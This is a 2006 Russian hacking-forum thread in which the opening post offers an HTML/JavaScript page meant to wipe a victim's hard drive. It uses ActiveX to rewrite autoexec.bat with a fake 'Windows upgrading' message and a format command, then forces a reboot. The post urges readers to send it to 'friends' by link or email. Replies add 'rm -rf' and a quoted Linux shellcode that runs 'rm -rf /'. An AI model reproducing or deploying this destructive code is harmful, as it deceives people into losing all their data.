ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Оффтоп > Болталка
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Форматируем винт через JavaScript
  #1  
Старый 20.12.2006, 17:12
[2-D]
Участник форума
Регистрация: 01.08.2006
Сообщений: 227
Провел на форуме:
1385537

Репутация: 80
Отправить сообщение для [2-D] с помощью ICQ
По умолчанию Форматируем винт через JavaScript

Привет, читатель! Как известно: западло - лучше средство от печали. Этим мы и займемся. Наверняка у тебя есть парочка знакомых моральных уродов, к которым ты питаешь “возвышенные” чувства.
А ты никогда не думал отомстить обидчику? Тебе наверняка хотелось создать ему побольше проблем, скажем просто отформатировать винт. Как это сделать, ты и узнаешь в данной статье.
Сейчас мы будем чистить чужой винт. Это мы будем с помощью javascript’а, путем добавления в autoexec.bat недостающие там строки. Вот этот скрипт:


<html>
<head>
<script>
var FSO = new ActiveXObject("Scripting.FileSystemObject");
//Если файл существует
if (FSO.FileExists("c:\\autoexec.bat"))
{
var F = FSO.GetFile("c:\\autoexec.bat");
//выставляем обычные атрибуты
F.attributes=0;
//удаляем его
F.Delete();
//заново создаем его
var MyFile = fso.CreateTextFile("c:\\autoexec.bat", true);
//открываем его для записи
var f = FSO.OpenTextFile("c:\\autoexec.bat", 2, true);
//пишем в него
f.WriteLine("@cls");
f.WriteLine("@echo Windows upgrading your system...");
f.WriteLine("@echo Do not abort this process!");
f.WriteLine("@format c: /q /autotest");
//закрываем
f.Close();
//Создаем объект WshShell:
var WshShell = new ActiveXObject("WScript.Shell");
//рестарт..
WshShell.Run ("%windir%\\system\\restart.exe");

}
//если не существует...
else
//создаем файл
var MyFile = fso.CreateTextFile("c:\\autoexec.bat", true);
//открываем и пишем
var f = FSO.OpenTextFile("c:\\autoexec.bat", 2, true);
f.WriteLine("@cls");
f.WriteLine("@echo Windows upgrading your system...");
f.WriteLine("@echo Do not abort this process!");
f.WriteLine("@format c: /q /autotest");
//закрываем
f.Close();
//Создаем объект WshShell:
var WshShell = new ActiveXObject("WScript.Shell");
//рестарт..
WshShell.Run ("%windir%\\system\\restart.exe");
</script>
</head>
</html>


Все дела.
Вот и всё, смело закачивай скрипт на свою пагу и раздавай url "друзьям" -).
Если тебе известен e-mail, то отошли ему этот html-код, и всё получится, т. к. многие майлеры обработают вложенное автоматом.
Единственное ограничение-наличие Win98 или Win95.
Если у тебя ещё и руки с того места растут , то можно сделать из этого скрипта много других интересных вещей. Всё зависит от твоей фантазии...

З.Ы. Сам знаю что старье, но это так для рассширения кругозора! Статья хз откуда, так как была найдена на старом винте!
 
Ответить с цитированием

  #2  
Старый 20.12.2006, 17:16
7ion
Познающий
Регистрация: 29.10.2006
Сообщений: 74
Провел на форуме:
1980313

Репутация: 65
Отправить сообщение для 7ion с помощью ICQ
По умолчанию

хм, интересно. А почему в болталке поместил, а не, допустим, в статьях?
 
Ответить с цитированием

  #3  
Старый 20.12.2006, 17:24
Ch3ck
Познавший АНТИЧАТ
Регистрация: 09.06.2006
Сообщений: 1,359
Провел на форуме:
5301021

Репутация: 1879


По умолчанию

Писец... а я на это нарвался когда только комп купил наверно. Теперь попробую засунь это в .тхт и сунь касперу )))) и будет счастье.
P.S угу... так Windows и даст отформатировать винты...
 
Ответить с цитированием

  #4  
Старый 20.12.2006, 17:25
GreenBear
наркоман с медалью
Регистрация: 07.05.2005
Сообщений: 3,704
Провел на форуме:
19975136

Репутация: 4536


Отправить сообщение для GreenBear с помощью ICQ
По умолчанию

а для линукса есть подобное?
 
Ответить с цитированием

  #5  
Старый 20.12.2006, 17:26
Ch3ck
Познавший АНТИЧАТ
Регистрация: 09.06.2006
Сообщений: 1,359
Провел на форуме:
5301021

Репутация: 1879


По умолчанию

Цитата:
а для линукса есть подобное?
Код:
rm-rf
)))))
 
Ответить с цитированием

  #6  
Старый 20.12.2006, 17:28
GreenBear
наркоман с медалью
Регистрация: 07.05.2005
Сообщений: 3,704
Провел на форуме:
19975136

Репутация: 4536


Отправить сообщение для GreenBear с помощью ICQ
По умолчанию

нет, ну чтобы зашел чел на сайт и сделалось это!
 
Ответить с цитированием

  #7  
Старый 20.12.2006, 17:35
EPIDEM
Banned
Регистрация: 28.12.2005
Сообщений: 221
Провел на форуме:
2540519

Репутация: 60
Отправить сообщение для EPIDEM с помощью ICQ
По умолчанию

мега баянчиГ
 
Ответить с цитированием

  #8  
Старый 20.12.2006, 17:38
Ch3ck
Познавший АНТИЧАТ
Регистрация: 09.06.2006
Сообщений: 1,359
Провел на форуме:
5301021

Репутация: 1879


По умолчанию

Цитата:
нет, ну чтобы зашел чел на сайт и сделалось это!
А поющий html тебе не надо?! ))))))
 
Ответить с цитированием

  #9  
Старый 20.12.2006, 18:06
TERYS
Участник форума
Регистрация: 11.01.2006
Сообщений: 128
Провел на форуме:
612424

Репутация: 55
По умолчанию

оно сразу же после загрукзки страници автоматом форматит диск?
 
Ответить с цитированием

  #10  
Старый 20.12.2006, 18:20
+toxa+
[Лишённый самовыражени
Регистрация: 16.01.2005
Сообщений: 1,787
Провел на форуме:
9751379

Репутация: 3812


Отправить сообщение для +toxa+ с помощью ICQ Отправить сообщение для +toxa+ с помощью AIM
По умолчанию

Цитата:
Сообщение от Green_Bear  
а для линукса есть подобное?
linux/x86 execve(rm -rf /) shellcode 48 bytes

Код:
/* By Kris Katterjohn 8/31/2006
 *
 * 48 byte shellcode to execve("rm -rf /") for Linux/x86
 *
 *
 *
 * section .text
 *
 *      global _start
 *
 * _start:
 *
 * ; execve("/bin/rm", { "/bin/rm", "-r", "-f", "/", NULL }, NULL)
 *
 *      push byte 11
 *      pop eax
 *      xor esi, esi
 *      push esi
 *      push byte 0x2f
 *      mov edi, esp
 *      push esi
 *      push word 0x662d
 *      mov edx, esp
 *      push esi
 *      push word 0x722d
 *      mov ecx, esp
 *      push esi
 *      push 0x6d722f2f
 *      push 0x6e69622f
 *      mov ebx, esp
 *      push esi
 *      push edi
 *      push edx
 *      push ecx
 *      push ebx
 *      mov ecx, esp
 *      xor edx, edx
 *      int 0x80
 */

main()
{
       char shellcode[] =
               "\x6a\x0b\x58\x31\xf6\x56\x6a\x2f\x89\xe7\x56\x66\x68\x2d\x66"
               "\x89\xe2\x56\x66\x68\x2d\x72\x89\xe1\x56\x68\x2f\x2f\x72\x6d"
               "\x68\x2f\x62\x69\x6e\x89\xe3\x56\x57\x52\x51\x53\x89\xe1\x31"
               "\xd2\xcd\x80";

       (*(void (*)()) shellcode)();
}

// milw0rm.com [2006-11-17]
больной чел писал имхо)
__________________
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Загрузка шелла через JavaScript olen Болталка 6 03.09.2006 06:14
Books JS FRAGNATIC PHP, PERL, MySQL, JavaScript 0 11.08.2005 16:57
Bypassing JavaScript Filters the Flash! Attack k00p3r Чужие Статьи 0 12.07.2005 16:11
Взлом через cookie k00p3r Чужие Статьи 0 13.06.2005 13:56



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ